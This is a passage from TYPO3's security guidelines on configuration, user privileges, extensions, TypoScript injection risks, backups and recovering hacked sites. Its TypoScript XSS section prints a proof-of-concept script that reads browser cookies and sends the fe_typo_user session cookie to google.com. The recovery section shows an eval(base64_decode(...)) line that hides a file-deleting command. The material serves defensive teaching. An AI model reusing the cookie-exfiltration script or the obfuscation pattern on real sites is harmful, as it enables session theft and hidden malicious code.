If the Host: header also contains a non-standard port, the configuration must include this value, too. This is especially important for the default value SERVER_NAME as provided ports are checked against SERVER_PORT which fails in some more complex load balancing or SSL termination scenarios.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['SYS']['trustedHostsPattern'] `

warning_email_addr

The email address defined in warning_email_addr will receive notifications, whenever an attempt to login to the Install Tool is made. TYPO3 will also send a warning whenever more than three failed backend login attempts (regardless of the user) are detected within one hour.

The default value is an empty string.

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['BE']['warning_email_addr']

warning_mode

This setting specifies if emails should be send to warning_email_addr upon successful backend user login.

The value in an integer:

0
Do not send notification emails upon backend login (default)
1
Send a notification email every time a backend user logs in
2
Send a notification email every time an admin backend user logs in

The PHP variable reads: $GLOBALS['TYPO3_CONF_VARS']['BE']['warning_mode']

Reports and logs

Two backend modules in TYPO3 require special attention: Reports and Log:

The Reports module groups several system reports and gives you a quick overview about important system statuses and site parameters. From a security perspective, the section Security should be checked regularly: it provides information about the administrator user account, encryption key, file deny pattern, Install Tool and more.

The second important module is the Logs module, which lists system log entries. The logging of some events depends on the specific configuration but in general every backend user login/logout, failed login attempts, etc. appear here. It is recommended to check for security-related entries (column Errors).

The information shown in these (and other) modules are senseless of course, in cases where a compromised system was manipulated in the way that incorrect details pretend the system status is OK.

Users and access privileges

Backend

TYPO3 offers a very sophisticated and complex access concept: you can define permissions on a user-level, on a group-level, on pages, on functions, on DB mounts, even on content elements and more. This concept is possibly a little bit complicated and maybe overwhelming if you have to configure it for the first time in your integrator life, but you will soon appreciate the options a lot.

As the first rule, you should grant backend users only a minimal set of privileges, only to those functions they really need. This will not only make the backend easier for them to use, but also makes the system more secure. In most cases, an editor does not need to enter any PHP, JavaScript or HTML code, so these options should be disabled. You also should restrict access to pages, DB mounts, file mounts and functions as much as possible. Note that limiting access to pages by using DB mounts only is not the best way. In order to really deny access, page permissions need to be set correctly.

It is always a good approach to set these permissions on a group level (for example use a group such as "editors"), so you can create a new user and assign this user to the appropriate group. It is not necessary to update the access privileges for every user if you want to adjust something in the future – update the group's permissions instead.

When creating a new user, do not use generic user names such as "editor", "webmaster", "cms" or similar. You should use real names instead (e.g. first name + dot + last name). Always remember the guidelines for choosing a secure password when you set a password for a new user or update a password for an existing user (set a good example and inform the new user about your policies).

If backend users will leave the project at a known date, for example students or temporary contractors, you should set an expiration date when you create their accounts. Under certain circumstances, it possibly makes sense to set this "stop" date for every user in general, e.g. 6 months in the future. This forces the administrator team to review the accounts from time to time and only extend the users that are allowed to continue using the system.

Screenshot showing the screen to set an expiry date for a backend user

Frontend

Access to pages and content in the TYPO3 frontend can be configured with frontend user groups. Similar suggestions like for backend users also apply here.

There are two special options in addition to frontend user groups:

  • Hide at login: hide page/content as soon as a user is logged in into the frontend, no matter which groups he belongs to.
  • Show at any login: show page/content as soon as a user is logged in.

The option Show at any login should be used with care since it permits access to any user regardless of it's user groups and storage location. This means that for multi-site TYPO3 instances users are able to log in to other sites under certain circumstances.

Thus the correct solution is to always prefer explicit user groups instead of the Show at any login option.

TYPO3 extensions

As already mentioned above, most of the security issues have been discovered in TYPO3 extensions, not in the TYPO3 Core . Due to the fact that everybody can publish an extension in the TYPO3 repository, you never know how savvy and experienced the programmer is and how the code was developed from a security perspective.

The following sections deal with extensions in general, the risks and the basic countermeasures to address security related issues.

Stable and reviewed extensions

Only a small percentage of the extensions available in the TER have been reviewed by the TYPO3 Security team. This does not imply that extensions without such an audit are insecure, but they probably have not been checked for potential security issues by an independent 3rd party (such as the TYPO3 Security Team).

The status of an extension (alpha, beta, stable, etc.) should also give you an indication in which state the developer claims the extension is. However, this classification is an arbitrary setting by the developer and may not reflect the real status and/or opinions of independent parties.

Always keep in mind that an extension may not perform the functionality that it pretends to do: An attacker could write an extension that contains malicious code or functions and publish it under a promising name. It is also possible that a well-known, harmless extension will be used for an attack in the future by introducing malicious code with an update. In a perfect world, every updated version would be reviewed and checked, but it is understandable that this approach is unlikely to be practical in most installations.

Following the guidelines listed below would improve the level of security, but the trade-off would be more effort in maintaining your website and a delay of updating existing extensions, which would possibly be against the react quickly paradigm. Thus, it depends on the specific case and project, and the intention of listing the points below is more to raise the awareness of possible risks.

  • Do not install extensions or versions marked as alpha or obsolete: The developer classified the code as a early version, preview, prototype, proof-of-concept and/or as not maintained – nothing you should install on a production site.
  • Be very careful when using extensions or versions marked as beta: According to the developer, this version of the extension is still in development, so it is unlikely that any security-related tests or reviews have been undertaken so far.
  • Be careful with extensions and versions marked as stable, but not reviewed by the TYPO3 Security Team.
  • Check every extension and extension update before you install it on a production site and review it in regards to security, see Use staging servers for developments and tests.

Executable binaries shipped with extensions

TYPO3 extensions (.zip files) are packages, which may contain any kind of data/files. This can be readable PHP or Javascript source code, as well as binary files like compiled executables, e.g. Unix/Linux ELF files or Microsoft Windows .exe files.

Executing these files on a server is a security risk, because it can not be verified what these files really do (unless they are reverse-engineered or dissected likewise). Thus it is highly recommended not to use any TYPO3 extensions, which contain executable binaries. Binaries should only come from trusted and/or verified sources such as the vendor of your operating system - which also ensures, these binaries get updated in a timely manner, if a security vulnerability is discovered in these components.

Remove unused extensions and other code

TYPO3 distinguishes between "imported" and "loaded" extensions. Imported extensions exist in the system and are ready to be integrated into TYPO3 but they are not installed yet. Loaded extensions are available for being used (or are being used automatically, depending on their nature), so they are "installed".

A dangerous and loaded extension is able to harm your system in general because it becomes part of the system (functions are integrated into the system at runtime). Even extensions which are not loaded (but only "imported") include a kind of risk because their code may contain malicious or vulnerable functions which in theory could be used to attack the system.

As a general rule, it is highly recommended you remove all code from the system that is not in use. This includes TYPO3 extensions, any TypoScript (see below), PHP scripts as well as all other functional components. In regards to TYPO3 extensions, you should remove unused extensions from the system (not only unload/deinstall them). The Extension Manager offers an appropriate function for this - an administrator backend account is required.

Low-level extensions

So called "low-level" extensions provide "questionable" functionality to a level below what a standard CMS would allow you to access. This could be for example direct read/write access to the file system or direct access to the database (see Guidelines for System Administrators: Database access). If a TYPO3 integrator or a backend user (e.g. an editor) depends on those extensions, it is most likely that a misconfiguration of the system exists in general.

TYPO3 extensions like phpMyAdmin, various file browser/manager extensions, etc. may be a good choice for a development or test environment but are definitely out of place at production sites.

Extensions that allow editors to include PHP code must be avoided, too.

Check for extension updates regularly

The importance of the knowledge that security updates are available has been discussed above (see TYPO3 security-bulletins). It is also essential to know how to check for extension updates: the Extension Manager (EM) is a TYPO3 backend module accessible for backend users with administrator privileges. A manual check for extension updates is available in this module.

The EM uses a cached version of the extension list from the TYPO3 Extension Repository (TER) to compare the extensions currently installed and the latest versions available. Therefore, you should retrieve an up-to-date version of the extension list from TER before checking for updates.

If extension updates are available, they are listed together with a short description of changes (the "upload comment" provided by the extension developers) and you can download/install the updates if desired. Please note that under certain circumstances, new versions may behave differently and a test/review is sometimes useful, depending on the nature and importance of your TYPO3 instance. Often a new version of an extension published by the developer is not security-related.

A scheduler task is available that lets you update the extension list automatically and periodically (e.g. once a day). In combination with the task "System Status Update (reports)", it is possible to get a notification by email when extension updates are available.

TypoScript

SQL injection

The CWE/SANS list of top 25 most dangerous software errors ranks "SQL injection" first! The TYPO3 Security Team comes across this security vulnerability in TYPO3 extensions over and over again.

On the PHP side, this situation improved a lot in TYPO3 with the doctrine API using prepared statements with createNamedParameter(), quoteIdentifier() and escapeLikeWildcards().

But TYPO3 integrators (and everyone who writes code using TypoScript) should be warned that due to the sophistication of TYPO3's configuration language, SQL injections are also possible in TypoScript, for example using the CONTENT content object and building the SQL query with values from the GET/POST request.

The following code snippet gives an example:

page = PAGE
page.10 = CONTENT
page.10 {
  table = tt_content
  select {
    pidInList = 123
    where = deleted=0 AND uid=###CONTENTID###
    markers {
        CONTENTID.data = GP:fooid
    }
  }
}
Copied!

Argument passed by the GET / POST request fooid wrapped as markers are properly escaped and quoted to prevent SQL injection problems.

See TypoScript Reference for more information.

As a rule, you cannot trust (and must not use) any data from a source you do not control without proper verification and validation (e.g. user input, other servers, etc.).

Cross-site scripting (XSS)

Similar applies for XSS placed in TypoScript code. The following code snippet gives an example:

page = PAGE
page.10 = COA
page.10 {
  10 = TEXT
  10.value (
    <h1>XSS &#43; TypoScript - proof of concept</h1>
    <p>Submitting (harmless) cookie data to google.com in a few seconds...</p>
  )
  20 = TEXT
  20.value (
    <script type="text/javascript">
    document.write('<p>');
    // read cookies
    var i, key, data, cookies = document.cookie.split(";");
    var loc = window.location;
    for (i = 0; i < cookies.length; i++) {
      // separate key and value
      key = cookies[i].substr(0, cookies[i].indexOf("="));
      data = cookies[i].substr(cookies[i].indexOf("=") + 1);
      key = key.replace(/^\s+|\s+$/g,"");
      // show key and value
      document.write(unescape(key) + ': ' + unescape(data) + '<br />');
      // submit cookie data to another host
      if (key == 'fe_typo_user') {
        setTimeout(function() {
          loc = 'https://www.google.com/?q=' + loc.hostname ;
          window.location = loc + ':' + unescape(key) + ':' + unescape(data);
        }, 5000);
      }
    }
    document.write('</p>');
    </script>
  )
}
Copied!

TYPO3 outputs the JavaScript code in page.10.20.value on the page. The script is executed on the client side (in the user's browser), reads and displays all cookie name/value pairs. In the case that a cookie named fe_typo_user exists, the cookie value will be passed to google.com, together with some extra data.

This code snippet is harmless of course but it shows how malicious code (e.g. JavaScript) can be placed in the HTML content of a page by using TypoScript.

External file inclusion

TYPO3 allows to include external files which implement TypoScript code. Some integrators appreciate the option of having TypoScript outside of TYPO3's backend because the files can be maintained in a version control system and/or can be edited without the need to login to TYPO3. A typical line to include an external TypoScript file looks like this:

<INCLUDE_TYPOSCRIPT: source="FILE:fileadmin/setup/myConfig.typoscript">
Copied!

It is obvious that this method introduces some serious security risks: first, the file myConfig.typoscript exists in a publicly accessible path of the web server. Without any further protection, everyone who knows or is able to guess the path/file name can access/download this file which often causes an information disclosure.

In order to deny access to all files with the file ending .typoscript, the following Apache configuration could be used:

.htaccess
<FilesMatch "\.typoscript">
  deny from all
</FilesMatch>
Copied!

However, external TypoScript files have another vulnerability: in the case that an attacker manages to manipulate these files (e.g. via a compromised FTP account), it is possible to compromise the TYPO3 system or to place malicious code (e.g. XSS) in the output of the pages generated by the CMS. This attack scenario even does not require access to the TYPO3 backend.

TYPO3 editors must never be able to edit externally included TypoScript files, since this will have the same impact as the previous attack scenario (e.g. in case of a compromised editor account).

Clickjacking

Clickjacking is an attack scenario where an attacker tricks a web user into clicking on a button or following a link different from what the user believes he/she is clicking on. Please see clickjacking for further details. It may be beneficial to include a HTTP header X-Frame-Options on frontend pages to protect the TYPO3 website against this attack vector. Please consult with your system administrator about pros and cons of this configuration.

The following TypoScript adds the appropriate line to the HTTP header:

config.additionalHeaders = X-Frame-Options: SAMEORIGIN
Copied!

Integrity of external JavaScript files

The TypoScript property integrity allows integrators to specify a SRI hash in order to allow a verification of the integrity of externally hosted JavaScript files. SRI (Sub-Resource Integrity) is a W3C specification that allows web developers to ensure that resources hosted on third-party servers have not been tampered with.

The TypoScript property can be used for the following PAGE properties:

  • page.includeJSLibs
  • page.includeJSFooterlibs
  • includeJS
  • includeJSFooter

A typical example in TypoScript looks like:

page {
  includeJS {
    jQuery = https://code.jquery.com/jquery-1.11.3.min.js
    jQuery.external = 1
    jQuery.disableCompression = 1
    jQuery.excludeFromConcatenation = 1
    jQuery.integrity = sha256-7LkWEzqTdpEfELxcZZlS6wAx5Ff13zZ83lYO2/ujj7g=
  }
}
Copied!

Risk of externally hosted JavaScript libraries

In many cases, it makes perfect sense to include JavaScript libraries, which are externally hosted. Like the example above, many libraries are hosted by CDN providers (Content Delivery Network) from an external resource rather than the own server or hosting infrastructure. This approach reduces the load and traffic of your own server and may speed up the loading time for your end-users, in particular if well-known libraries are used.

However, JavaScript libraries of any kind and nature, for example feedback, comment or discussion forums, as well as user tracking, statistics, additional features, etc. which are hosted somewhere, can be compromised, too.

If you include a JavaScript library that is hosted under https://example.org/js/feedback.js and the systems of operator of example.org are compromised, your site and your site visitors are under risk, too.

JavaScript running in the browser of your end-users is able to intercept any input, for example sensitive data such as personal details, credit card numbers, etc. From a security perspective, it it recommended to either not to use externally hosted JavaScript files or to only include them on pages, where necessary. On pages, where users enter data, they should be removed.

Content elements

Besides the low-level extensions, there are also system-internal functions available which could allow the insertion of raw HTML code on pages: the content element "Plain HTML" and the Rich Text Editor (RTE).

A properly configured TYPO3 system does not require editors to have any programming or HTML/CSS/JavaScript knowledge and therefore the "raw HTML code" content element is not really necessary. Besides this fact, raw code means, editors are also able to enter malicious or dangerous code such as JavaScript that may harm the website visitor's browser or system.

Even if editors do not insert malicious code intentionally, sometimes the lack of knowledge, expertise or security awareness could put your website at risk.

Depending on the configuration of the Rich Text Editor (RTE), it is also possible to enter raw code in the text mode of the RTE. Given the fact that HTML/CSS/JavaScript knowledge is not required, you should consider disabling the function by configuring the buttons shown in the RTE. The page TSconfig enables you to list all buttons visible in the RTE by using the following TypoScript:

RTE.default {
  showButtons = ...
  hideButtons = ...
}
Copied!

In order to disable the button "toggle text mode", add "chMode" to the hideButtons list. The TSconfig/RTE (Rich Text Editor) documentation provide further details about configuration options.

Guidelines for editors

Role definition

Typically, a software development company or web design agency develops the initial TYPO3 website for the client. After the delivery, approval and training, the client is able to edit the content and takes the role of an editor. All technical administration, maintenance and update tasks often stay at the developer as the provider of the system. This may vary depending on the relation and contracts between developer and client of course.

Editors are predominantly responsible for the content of the website. They log in to the backend of TYPO3 (the administration interface) using their username and password. Editors add, update and remove pages as well as content on pages. They upload files such as images or PDF documents, create internal and external links and add/edit multimedia elements. The terminology "content" applies to all editable texts, images, tables, lists, possibly forms, etc. Editors sometimes translate existing content into different languages and prepare and/or publish news.

Depending on the complexity and setup of the website, editors possibly work in specific "workspaces" (e.g. a draft workspace) with or without the option to publish the changes to the "live" site. It is not required for an editor to see the entire page tree and some areas of the website are often not accessible and not writable for editors.

Advanced tasks of editors are for example the compilation and publishing of newsletters, the maintenance of frontend user records and/or export of data (e.g. online shop orders).

Editors usually do not change the layout of the website, they do not set up the system, new backend user accounts, new site functionality (for example, they do not install, update or remove extensions), they do not need to have programming, database or HTML knowledge and they do not configure the TYPO3 instance by changing TypoScript code or templates.

General rules

The General Guidelines also apply to editors – especially the section "Secure passwords" and "Operating system and browser version".

Due to the fact that editors do not change the configuration of the system, there are only a few things editors should be aware of. As a general rule, you should contact the person, team or agency who/which is responsible for the system (usually the provider of the TYPO3 instance, a TYPO3 integrator or system administrator) if you determine a system setup that does not match with the guidelines described here.

Backend access

Username

Generic usernames such as "editor", "webmaster", "cms" or similar are not recommended. Shared user accounts are not recommended either: every person should have its own login (e.g. as first name + dot + last name). The maximum number of backend user accounts is not artificially limited in TYPO3 and they should not add additional costs.

Password

Please read the chapter about secure passwords. If your current TYPO3 password does not match the rules explained above, change your password to a secure one as soon as possible. You should be able to change your password in the User settings menu, reachable by clicking on your user name in the top bar:

The User Settings screen, where you can change your password

Administrator privileges

If you are an editor for a TYPO3 website (and not a system administrator or integrator), you should ensure that you do not have administrator privileges. Some TYPO3 providers fear the effort to create a proper editor account, because it involves quite a number of additional configuration steps. If you, as an editor, should have an account with administrator privileges, it is often an indication of a misconfiguration.

As an indicator, if you see a Template entry under the Web Module menu or a section Admin Tools, you definitely have the wrong permissions as an editor and you should get in touch with the system provider to solve this issue.

Screenshot of a menu with the section "Admin Tools"

Notify at login

TYPO3 offers the feature to notify backend users by email, when somebody logs in from your account. If you set this option in your user settings, you will receive an email from TYPO3 each time you (or "someone") logs in using your login details. Receiving such a notification is an additional security measure because you will know if someone else picked up your password and uses your account.

The User Settings screen, with the Notify me... checkbox

Assuming you have activated this feature and you got a notification email but you have not logged in and you suspect that someone misuses your credentials, get in touch with the person or company who hosts and/or administrates the TYPO3 site immediately. You should discuss the situation and the next steps, possibly to change the password as soon as possible.

Lock to IP address(es)

Some TYPO3 instances are maintained by a selected group of editors who only work from a specific IP range or (in an ideal world) from one specific IP address only – an office network with a static public IP address is a typical example.

In this case, it is recommended to lock down user accounts to these/this address(es) only, which would block any login attempt from someone coming from an unauthorized IP address.

Implementing this additional login limitation is the responsibility of the person or company who hosts and/or administers the TYPO3 site. Discuss the options with them.

Restriction to required functions

Some people believe that having more access privileges in a system is better than having essential privileges only. This is not true from a security perspective due to several reasons. Every additional privilege introduces not only new risks to the system but also requires more responsibility as well as security awareness from the user.

In most cases editors should prefer having access to functions and parts of the website they really need to have and therefore you, as an editor, should insist on correct and restricted access permissions.

Similar to the explanations above: too extensive and unnecessary privileges are an indication of a badly configured system and sometimes a lack of professionalism of the system administrator, hosting provider or TYPO3 integrator.

Secure connection

You should always use the secure, encrypted connection between your computer and the TYPO3 backend. This is done by using the prefix https:// instead of http:// at the beginning of the website address (URL). Nowadays, both the TYPO3 backend and frontend should be always - and exclusively - accessible via https:// only and invalid certificates are no longer acceptable. Please clarify with the system administrator if no encrypted connection is available.

Under specific circumstances, a secure connection is technically possible but an invalid SSL certificate causes a warning message. In this case you may want to check the details of the certificate and let the hosting provider fix this.

Logout

When you finished your work as an editor in TYPO3, make sure to explicitly logout from the system. This is very important if you are sharing the computer with other people, such as colleagues, or if you use a public computer in a library, hotel lobby or internet café. As an additional security measure, you may want to clear the browser cache and cookies after you have logged out and close the browser software.

In the standard configuration of TYPO3 you will automatically be logged out after 8 hour of inactivity or when you access TYPO3 with a different IP address.

Backup strategy

Backups are usually in the responsibility of the system administrator. Creating backups obviously does not improve the security of a TYPO3 site but they quickly become incredibly useful when you need to restore a website after your site has been compromised or in the case of a data loss.

Components included in the backups

To restore a TYPO3 project you need to have a backup of at least the following data directories:

  • fileadmin
  • typo3conf

You do not need a backup of the typo3temp/ directory, due to the fact that all files are re-generated automatically if they do not exist. Also a backup of the TYPO3 source code is not needed (unless changes were made to the source code, which is not recommended). You can always download the TYPO3 source packages from the TYPO3 website, even for older versions of TYPO3.

In addition to the data directories listed above, a backup of the database is required. For MySQL the command line tool mysqldump (or mysqldump.exe for Microsoft Windows) is a good way to export the content of the database to a file without any manual interaction (e.g. as an automated, scheduled system task).

Once a backup has been created, it should be verified that it is complete and can be restored successfully. A good test is to restore a backup of a TYPO3 project to a different server and then check the site for any errors or missing data. In a perfect world, these restore checks should be tested frequently to ensure that the concept works and continues working over a time period. The worst case would be that you rely on your backup concept and when you need to restore a backup you notice that the concept has not worked for months.

Time plan and retention time

In most cases you should create a backup once a day, typically at a time when the server load is low. Rather than overwriting the backup from the previous day you should create a new backup and delete older copies from time to time. Just having a backup from last night is not sufficient for recovery since it would require that you notice the need for a restore within 24 hours. Here is an example for a good backup strategy:

  • keep one daily backup for each of the last 7 days
  • keep one weekly backup for each of the last 4 weeks
  • keep one monthly backup for each of the last 6 months
  • keep one yearly backup for each year

Backup location

Backups are typically created on the same server as the TYPO3 instance and often stored there as well. In this case, the backup files should be copied to external systems to prevent data loss from a hardware failure. If backups are only stored on the local system and an attacker gains full control over the server, he might delete or tamper with the backup files. Protecting the external systems against any access from the TYPO3 server is also highly recommended, so you should consider "fetching" the backups from the TYPO3 system instead of "pushing" them to the backup system.

When external systems are used they should be physically separated from the production server in order to prevent data loss due to fire, flooding, etc.

Please read the terms and conditions for your contract with the hosting provider carefully. Typically the customer is responsible for the backup, not the provider. Even if the provider offers a backup, there may be no guarantee that the backup will be available. Therefore it is good practice to transfer backups to external servers in regular intervals.

In case you are also storing backups on the production server, make sure that they are placed outside of the root directory of your website and cannot be accessed with a browser. Otherwise everybody could download your backups, including sensitive data, such as passwords (not revealing the URL is not a sufficient measure from a security perspective).

Further considerations

More sophisticated backup strategies, such as incremental backups and distributed backups over several servers, geographically separated and rotating backups, etc. are also achievable but out of scope of this document.

Due to the fact that website backups contain sensitive information (backend user details, passwords, sometimes customer details, etc.) it is highly recommended to consider the secure encryption for these files.

Detect, analyze and repair a hacked site

Most websites do not get hacked. If yours did, there is something wrong with it, or with the server, or with the hosting environment, or with the security on your desktop computer, your editors' computers, etc. You have to figure out how this happened so you can prevent it from happening again. It is not enough to simply restore a hacked site – it will most likely be hacked again, sooner or later.

In case your server or TYPO3 website has been hacked, a number of steps should be taken to restore the system and to prevent further attacks. Some recommended actions are described in this chapter but always keep in mind: if you are already in the situation that you have to restore a hacked site, focus on the limitation of damage and do not react over-hastily.

Steps to take when a site got hacked

Please see the following chapters on the actions to take:

Detect a hacked website

Typical signs which could indicate that a website or the server was hacked are listed below. Please note that these are common situations and examples only, others have been seen. Even if you are the victim of one of them only, it does not mean that the attacker has not gained more access or further damage (e.g. stolen user details) has been done.

Manipulated frontpage

One of the most obvious "hacks" are manipulated landing or home page or other pages. Someone who has compromised a system and just wants to be honored for his/her achievement, often replaces a page (typically the home page as it is usually the first entry point for most of the visitors) with other content, e.g. stating his/her nickname or similar.

Less obvious is manipulated page content that is only visible to specific IP addresses, browsers (or other user agents), at specific date times, etc. It depends on the nature and purpose of the hack but in this case usually an attacker tries either to target specific users or to palm keywords/content off on search engines (to manipulate a ranking for example). In addition, this might obscure the hack and makes it less obvious, because not everybody actually sees it. Therefore, it is not sufficient to just check the generated output because it is possible that the malicious code is not visible at a quick glance.

Malicious code in the HTML source

Malicious code (e.g. JavaScript, iframes, etc.) placed in the HTML source code (the code that the system sends to the clients) may lead to XSS attacks, display dubious content or redirect visitors to other websites. Latter could steal user data if the site which the user was redirected to convinces users to enter their access details (e.g. if it looks the same as or similar to your site).

See alse the explanations below Search engines warn about your site.

Embedded elements in the site's content

Unknown embedded elements (e.g. binary files) in the content of the website, which are offered to website visitors to download (and maybe execute), and do not come from you or your editors, are more than suspicious. A hacker possibly has placed harmful files (e.g. virus- infected software) on your site, hoping your visitors trust you and download/execute these files.

See also the explanations below Reports from visitors or users.

Unusual traffic increase or decrease

A significant unusual, unexpected increase of traffic may be an indication that the website was compromised and large files have been placed on the server, which are linked from forums or other sites to distribute illegal downloads. Increased traffic of outgoing mail could indicate that the system is used for sending "spam" mail.

The other extreme, a dramatic and sudden decrease of traffic, could also be a sign of a hacked website. In the case where search engines or browsers warn users that "this site may harm your computer", they stay away.

In a nutshell, it is recommended that you monitor your website and server traffic in general. Significant changes in this traffic behavior should definitely make you investigating the cause.

Reports from visitors or users

If visitors or users report that they get viruses from browsing through your site, or that their anti-virus software raises an alarm when accessing it, you should immediately check this incident. Keep in mind that under certain circumstances the manipulated content might not be visible to you if you just check the generated output - see explanations above.

Search engines or browsers warn about your site

Google, Yahoo and other search engines have implemented a warning system showing if a website content has been detected as containing harmful code and/or malicious software (so called "malware" that includes computer viruses, worms, trojan horses, spyware, dishonest adware, scareware, crimeware, rootkits, and other malicious and unwanted software).

One example for such a warning system is Google's "Safe Browsing Database". This database is also used by various browsers.

Leaked credentials

One of the "hacks" most difficult to detect is the case where a hacker gained access to a perfectly configured and secured TYPO3 site. In previous chapters we discussed how important it is to use secure passwords, not to use unencrypted connections, not to store backups (e.g. MySQL database "dumpfiles") in a publicly accessible directory, etc. All these examples could lead to the result that access details fall into the hands of an attacker, who possibly uses them, simply logs into your system and edits some pages as a usual editor.

Depending on how sophisticated, tricky, small and frequently the changes are and how large the TYPO3 system is (e.g. how many editors and pages are active), it may take a long time to realize that this is actually a hack and possibly takes much longer to find the cause, simply because there is no technical issue but maybe an organizational vulnerability.

The combination of some of the recommendations in this document reduces the risk (e.g. locking backend users to specific IP addresses, store your backup files outside the web server's document root, etc.).

Take the website offline

Assuming you have detected that your site has been hacked, you should take it offline for the duration of the analysis and restoration process (the explanations below). This can be done in various ways and it may be necessary to perform more than one of the following tasks:

  • route the domain(s) to a different server
  • deactivate the web host and show a "maintenance" note
  • disable the web server such as Apache (keep in mind that shutting down a web server on a system that serves virtual hosts will make all sites inaccessible)
  • disconnect the server from the Internet or block access from and to the server (firewall rules)

There are many reasons why it is important to take the whole site or server offline: In the case where the hacked site is used for distributing malicious software, a visitor who gets attacked by a virus from your site, will most likely lose the trust in your site and your services. A visitor who simply finds your site offline (or in "maintenance mode") for a while will (or at least might) come back later.

Another reason is that as long as the security vulnerability exists in your website or server, the system remains vulnerable, meaning that the attacker could continue harming the system, possibly causing more damage, while you're trying to repair it. Sometimes the "attacker" is an automated script or program, not a human.

After the website or server is not accessible from outside, you should consider to make a full backup of the server, including all available log files (Apache log, FTP log, SSH log, MySQL log, system log). This will preserve data for a detailed analysis of the attack and allows you (and/or maybe others) to investigate the system separated from the "live" environment.

Today, more and more servers are virtual machines, not physical hardware. This often makes creating a full backup of a virtual server very easy because system administrators or hosting providers can simply copy the image file.

Analyzing a hacked site

In most cases, attackers are adding malicious code to the files on your server. All files that have code injected need to be cleaned or restored from the original files. Sometimes it is obvious if an attacker manipulated a file and placed harmful code in it. The date and time of the last modification of the file could indicate that an unusual change has been made and the purpose of the new or changed code is clear.

In many cases, attackers insert code in files such as index.php or index.html that are found in the root of your website. Doing so, the attacker makes sure that his code will be executed every time the website is loaded. The code is often found at the beginning or end of the file. If you find such code, you may want to do a full search of the content of all files on your hard disk(s) for similar patterns.

However, attackers often try to obscure their actions or the malicious code. An example could look like the following line:

An example how attackers may hide malicious code
eval(base64_decode('dW5saW5rKCd0ZXN0LnBocCcpOw=='));
Copied!

Where the hieroglyphic string "dW5saW5rKCd0ZXN0LnBocCcpOw==" contains the PHP command unlink('test.php'); (base64 encoded), which deletes the file test.php when executed by the PHP function eval()`. This is a simple example only and more sophisticated obscurity strategies are imaginable.

Other scenarios also show that PHP or JavaScript Code has been injected in normal CSS files. In order that the code in those files will be executed on the server (rather than just being sent to the browser), modifications of the server configuration are made. This could be done through settings in an .htaccess file or in the configuration files (such as httpd.conf) of the server. Therefore these files need to be checked for modifications, too.

As described above, fixing these manipulated files is not sufficient. It is absolutely necessary that you learn which vulnerability the attacker exploited and to fix it. Check log files and other components on your system which could be affected, too.

If you have any proof or a reasonable ground for suspecting that TYPO3 or an extension could be the cause, and no security-bulletin lists this specific version, please contact the TYPO3 Security Team. The policy dictates not to disclose the issue in public (mailing lists, forums, Twitter or any other 3rd party website).

Repair/restore

When you know what the problem was and how the attacker gained access to your system, double check if there are no other security vulnerabilities. Then, you may want to either repair the infected/modified/deleted files or choose to make a full restore from a backup (you need to make sure that you are using a backup that has been made before the attack). Using a full restore from backup has the advantage, that the website is returned to a state where the data has been intact. Fixing only individual files bears the risk that some malicious code may be overlooked.

Again: it is not enough to fix the files or restore the website from a backup. You need to locate the entry point that the attacker has used to gain access to your system. If this is not found (and fixed!), it will be only a matter of time, until the website is hacked again.

So called "backdoors" are another important thing you should keep in mind: if an attacker had access to your site, it is possible and common practise that it implemented a way to gain unauthorized access to the system at a later time (again). Even if the original security vulnerability has been fixed (entry point secured), all passwords changed, etc., such a backdoor could be as simple as a new backend user account with an unsuspicious user name (and maybe administrator privileges) or a PHP file hidden somewhere deep in the file system, which contains some cryptic code to obscure its malicious purpose.

Assuming all "infected" files have been cleaned and the vulnerability has been fixed, make sure to take corrective actions to prevent further attacks. This could be a combination of software updates, changes in access rights, firewall settings, policies for log file analysis, the implementation of an intrusion detection system, etc. A system that has been compromised once should be carefully monitored in the following months for any signs of new attacks.

Further actions

Given the fact that the TYPO3 site is now working again, is clean and that the security hole has been identified and fixed, you can switch the website back online. However, there are some further things to do or to consider:

  • change (all) passwords and other access details
  • review situation: determine impact of the attack and degree of damage
  • possibly notify your hosting provider
  • possibly notify users (maybe clients), business partners, etc.
  • possibly take further legal steps (or ask for legal advice from professionals)

Depending on the nature of the hack, the consequences can be as minimal as a beautifully "decorated" home page or as extensive as stolen email addresses, passwords, names, addresses and credit card details of users. In most cases, you should definitely not trifle with your reputation and you should not conceal the fact that your site has been hacked.

Testing

In TYPO3, we're taking testing serious: When the Core Team releases a new TYPO3 version, they want to make sure it does not come with evil regressions (things that worked and stop working after update). This is especially true for patch level releases. There are various measures to ensure the system does not break: The patch review process is one, testing is another important part and there is more. With the high flexibility of the system it's hard to test "everything" manually, though. The TYPO3 Core thus has a long history of automatic testing - some important steps are outlined in a dedicated chapter below.

With the continued improvements in this area an own testing framework has been established over the years that is not only used by the TYPO3 Core, but can be used by extension developers or entire TYPO3 projects as well.

This chapter goes into details about automatic testing: Writing, maintaining and running them in various scopes. Have fun.

History

Introduction

The TYPO3 Core development has quite an impressive history on automatic testing. This chapter outlines some of the important steps the system went through over the years. It may be just an interesting read but may also explain why things are as they are now.

Next to this chapter, typo3.com blog picks up the testing topic once in a while. If a developer reads this who still needs to convince management persons that testing saves time and money on a project, the series starting with Serious Software Testing may give some ideas.

2009

The first Core unit test has been committed in early 2009. The Core was still using SVN as version control system at this point. More than ten years ago. The tests have later been released with TYPO3 version 4.3 in fall 2009. The system back then relied on the TYPO3 extension phpunit. This TER extension bundled the native phpunit package and added a TYPO3 backend module on top. It found all extensions that delivered unit tests, allowed to execute them and showed the result in the module. This was the first time "green bar feeling" came up: All tests green.

2012

This was after TYPO3 v4.5 times - a version that carried us for a long time. Several TYPO3 Core contributors meanwhile added some hundreds of unit tests in various Core extensions. There was an issue, though: Not too many persons developing the TYPO3 Core cared about unit tests and executed them before providing or merging patches. As a result, tests were frequently failing and only a small group of persons took care and fixed them once in a while. Unit tests and system under test are symbiotic: If one is changed, the other one needs changes, too. If that does not happen, unit tests fail.

However, the young project Travis CI came online and allowed free test environments for open source projects. The TYPO3 Core quickly started using that, a first .travis.yml has been added early 2012 and all merged patches executed the test suite. Persons merging patches got feedback on failed builds and were able to act upon: Either fix the build or revert the patch. The Core Team established an "always green" rule for Core development.

The Travis CI setup at this point basically created a working instance around the checked out the Core to run tests: It additionally cloned a helper repository, cloned the phpunit extension, did set up a database and other stuff, then executed the Core unit tests to result with "good" or "bad".

Until 2018, this first .travis.yml file went through more than 100 changes.

2013

With frequent test execution via Travis CI more and more developers working on the Core were forced to run tests locally to debug tests or add new ones. We slowly got an idea in which situations unit tests are helpful and when they are not.

